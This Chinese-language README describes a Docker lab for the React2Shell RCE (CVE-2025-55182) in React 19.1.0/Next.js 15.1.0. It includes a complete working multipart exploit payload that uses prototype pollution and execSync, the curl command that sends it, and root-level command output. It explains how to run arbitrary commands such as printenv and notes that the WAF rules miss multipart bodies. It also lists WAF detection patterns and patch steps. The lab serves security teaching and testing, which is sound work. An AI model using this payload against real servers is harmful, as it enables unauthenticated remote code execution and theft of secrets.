基于 Docker 的测试实验室,用于 React 19.1.0/Next.js 15.1.0 中的 CVE-2025-55182 (React2Shell) RCE 漏洞。包含漏洞利用脚本、使用 NGINX/ModSecurity 的 WAF 绕过测试,以及打补丁版本对比,用于安全教学。
⚠️ 警告: 包含实际可用的远程代码执行(RCE)漏洞。
CVE-2025-55182 (React2Shell) 漏洞测试的容器测试环境。
🔴 CRITICAL VULNERABILITY CONFIRMED!
Successfully executed 6/7 commands
Executed Commands:
✅ whoami: root
✅ hostname: c89f1bd355b2
✅ pwd: /app
✅ id: uid=0(root) gid=0(root) groups=0(root)...
✅ uname: Linux c89f1bd355b2 6.6.87.2-microsoft-standard-WSL2...
✅ node-ver: v20.19.6
CVSS评分: 10.0 (CRITICAL)
影响: 远程代码执行 (RCE)
身份认证要求: 无
攻击向量: 网络
$1:__proto__:then 实现原型污染$B 前缀)访问child_process 实现 RCE// 攻击载荷结构
{
"then": "$1:__proto__:then", // 污染 Object.prototype.then
"status": "resolved_model",
"reason": -1,
"value": '{"then": "$B0"}', // 触发 Blob 反序列化
"_response": {
"_prefix": "恶意代码", // 要执行的代码
"_formData": {
"get": "$1:constructor:constructor" // 访问 Function constructor
}
}
}
Windows (PowerShell):
PowerShell -ExecutionPolicy Bypass -File .\run-tests.ps1 start
.\run-tests.ps1 status
需要等待所有容器达到 healthy 状态(大约需要 1-2 分钟)。
Windows (PowerShell):
# 方法1:使用 PowerShell 脚本 (推荐)
.\tests\exploit-working.ps1
# 方法2:直接运行 Node.js
node tests\exploit-working.js
### 第四步:查看结果
可以在服务器日志中查看命令执行结果:
```bash
docker compose logs vulnerable-app --tail=20
exploit-working.js ⭐ 推荐Windows:
# PowerShell 脚本 (推荐)
.\tests\exploit-working.ps1
# 或直接运行 Node.js
node tests\exploit-working.js
执行内容:
测试的命令:
whoami - 当前用户 (root)hostname - 容器主机名pwd - 工作目录 (/app)id - 完整用户信息uname -a - 系统信息node --version - Node.js 版本# 创建载荷文件
cat > payload.txt << 'EOF'
------WebKitFormBoundary123
Content-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\": \"$B0\"}","_response":{"_prefix":"console.log('[EXPLOIT] RCE Success');const result=require('child_process').execSync('whoami').toString();console.log('[RESULT]',result);","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundary123
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundary123--
EOF
# 发送攻击
curl -X POST http://localhost:3000/ \
-H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary123" \
-H "Next-Action: exploit" \
--data-binary @payload.txt
# 确认日志执行
docker compose logs vulnerable-app --tail=20 | grep -E "\[EXPLOIT\]|\[RESULT\]"
可以修改攻击脚本以执行自定义命令:
// 在 exploit-working.js 文件中:
const tests = [
{ name: 'custom', cmd: 'ls -la /app', desc: '应用目录列表' },
{ name: 'env', cmd: 'printenv', desc: '环境变量输出' }
]
| 端口 | 服务 | React 版本 | 用途 | WAF 状态 |
|---|---|---|---|---|
| 3000 | vulnerable-app | 19.1.0 | 有漏洞 - CVE-2025-55182 测试 | ❌ 无保护 |
| 3001 | patched-app | 19.1.2 | 安全 - 验证补丁效果 | ✅ 已修补 |
| 8080 | nginx → vulnerable | 19.1.0 | WAF 测试 (NGINX) | ⚠️ 有限 (未检查 body) |
| 8081 | apache → vulnerable | 19.1.0 | WAF 测试 (ModSecurity) | ⚠️ 有限 (405 响应) |
| 8082 | nginx → patched | 19.1.2 | 双重保护测试 | ✅ 已修补 |
# 执行有效攻击
node tests/exploit-working.js
# 预期结果:命令执行成功
# 输出:用户信息、系统详细信息等
Windows (PowerShell):
# 使用 PowerShell 脚本
.\tests\exploit-working.ps1 -Port 3001
预期结果: 攻击失败 (React 19.1.2 阻止了攻击)
Windows (PowerShell):
# 通过 NGINX WAF 尝试攻击
.\tests\exploit-working.ps1 -Port 8080
预期结果: 被 WAF 规则拦截
位置: nginx/nginx.conf
检测模式:
__proto__, constructor:constructor$X:__proto__, $B 引用child_process, execSync, require()%5f%5fproto%5f%5fNext-Action: #constructor拦截动作:
HTTP 403 Forbidden
{
"error": "Request blocked by WAF",
"protection": "CVE-2025-55182",
"waf": "NGINX"
}
位置: apache/modsecurity-rules.conf
规则 ID 范围: 100001-100017
主要规则:
__proto__# NGINX 拦截测试
curl -X POST http://localhost:8080/ \
-H "Content-Type: application/json" \
-d '{"__proto__": {"polluted": true}}'
# 预期响应: HTTP 403
# ModSecurity 拦截测试
curl -X POST http://localhost:8081/ \
-H "Next-Action: test#constructor" \
-d '{"data": "test"}'
# 预期响应: HTTP 403
# NGINX 安全日志
docker compose exec nginx tail -f /var/log/nginx/security.log
# Apache ModSecurity 审计日志
docker compose exec apache tail -f /var/log/apache2/modsec_audit.log
重要: 当前 WAF 配置存在以下限制:
multipart/form-data body 中,因此无法检测Next-Action 头部,仅靠此头部不足以提供充分保护实际攻击防御:
cve-2025-55182-test-lab-windows/
├── README.md # README
├── docker-compose.yml # Docker 环境配置
├── run-tests.ps1 # Windows 执行脚本
├── run-tests.sh # Linux/Mac 执行脚本
│
├── vulnerable-app/ # 有漏洞版本应用
│ ├── Dockerfile
│ ├── package.json # React 19.1.0, Next.js 15.1.0
│ ├── next.config.js
│ ├── app/
│ │ ├── layout.js # 基本布局
│ │ ├── page.js # 主页面
│ │ └── api/
│ │ └── health/ # 健康检查端点
│ │ └── route.js
│ └── tests/
│
├── patched-app/ # 已修补漏洞版本应用
│ ├── Dockerfile
│ ├── package.json # React 19.1.2, Next.js 15.1.9
│ ├── next.config.js
│ └── app/
│ ├── layout.js
│ ├── page.js
│ └── api/
│ └── health/
│ └── route.js
│
├── tests/ # 攻击脚本
│ ├── exploit-working.js # RCE 攻击 (Node.js)
│ ├── exploit-working.ps1 # RCE 攻击 (PowerShell)
│ └── exploit-working.cmd # RCE 攻击 (批处理文件)
│
├── nginx/ # NGINX WAF 配置
│ ├── nginx.conf # CVE-2025-55182 拦截规则
│ └── nginx-patched.conf # 代理配置
│
└── apache/ # Apache ModSecurity 配置
├── Dockerfile
├── apache-config.conf
└── modsecurity-rules.conf # ModSecurity 拦截规则
攻击脚本直接显示结果:
[whoami] Sending exploit...
✅ SUCCESS! Output: root
# 实时日志监控
docker compose logs -f vulnerable-app
# 需要确认的内容:
# [EXPLOIT] Executing: whoami
# [RESULT] root
# 确认攻击是否已执行
docker compose exec vulnerable-app ps aux | grep node
# 确认文件系统更改 (如果写入了文件)
docker compose exec vulnerable-app ls -la /tmp
升级 React - 安装 19.1.2 或更高版本:
npm install react@^19.1.2 react-dom@^19.1.2
升级 Next.js - 安装 15.1.9 或更高版本:
npm install next@^15.1.9
重新构建并部署:
npm run build
# 部署到生产环境
Windows (PowerShell):
# 使用已修补版本测试
.\tests\exploit-working.ps1 -Port 3001
# 或
$env:TARGET_PORT=3001; node tests\exploit-working.js
Linux/Mac:
# 使用已修补版本测试
TARGET_PORT=3001 node tests/exploit-working.js
示例结果: ℹ️ Exploitation failed
# 启动
.\run-tests.ps1 start
# 检查状态
.\run-tests.ps1 status
# 查看日志
.\run-tests.ps1 logs
# 停止
.\run-tests.ps1 stop
# 初始化 (删除所有容器和卷)
.\run-tests.ps1 clean
Windows (PowerShell):
# 1. 检查版本
docker compose exec vulnerable-app npm list react next
# 预期显示:
# [email protected]
# [email protected]
# 2. 确认服务器是否响应
curl http://localhost:3000
# 3. 查看 Docker 日志
docker compose logs vulnerable-app --tail=50
# 4. 重启容器
docker compose restart vulnerable-app
Windows (PowerShell):
# 在 PowerShell 中过滤日志
docker compose logs vulnerable-app --tail=20 | Select-String "EXPLOIT|RESULT"
错误症状:
error during connect: Get "http://%2F%2F.%2Fpipe%2FdockerDesktopLinuxEngine...
解决方法:
docker ps 命令验证错误症状:
无法加载文件...因为在此系统上禁止运行脚本...
解决方法:
# 仅应用于当前会话
Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope Process
# 或直接运行
PowerShell -ExecutionPolicy Bypass -File .\tests\exploit-working.ps1
确认 Docker 正在运行且具有权限:
所有平台:
docker compose ps
如果其他应用程序正在使用端口:
Windows (PowerShell):
# 查看端口占用进程
netstat -ano | findstr :3000
# 终止进程 (确认 PID 后)
taskkill /PID <PID> /F
所有平台 (修改 docker-compose.yml):
# 更改端口以避免冲突
services:
vulnerable-app:
ports:
- "3010:3000" # 将 3000 改为 3010
所有平台:
# 测试 NGINX 配置
docker compose exec nginx nginx -t
# 测试 Apache 配置
docker compose exec apache apachectl configtest
# 查看日志
docker compose logs nginx --tail=30
docker compose logs apache --tail=30
本项目仅供教育和安全研究用途。
使用限制: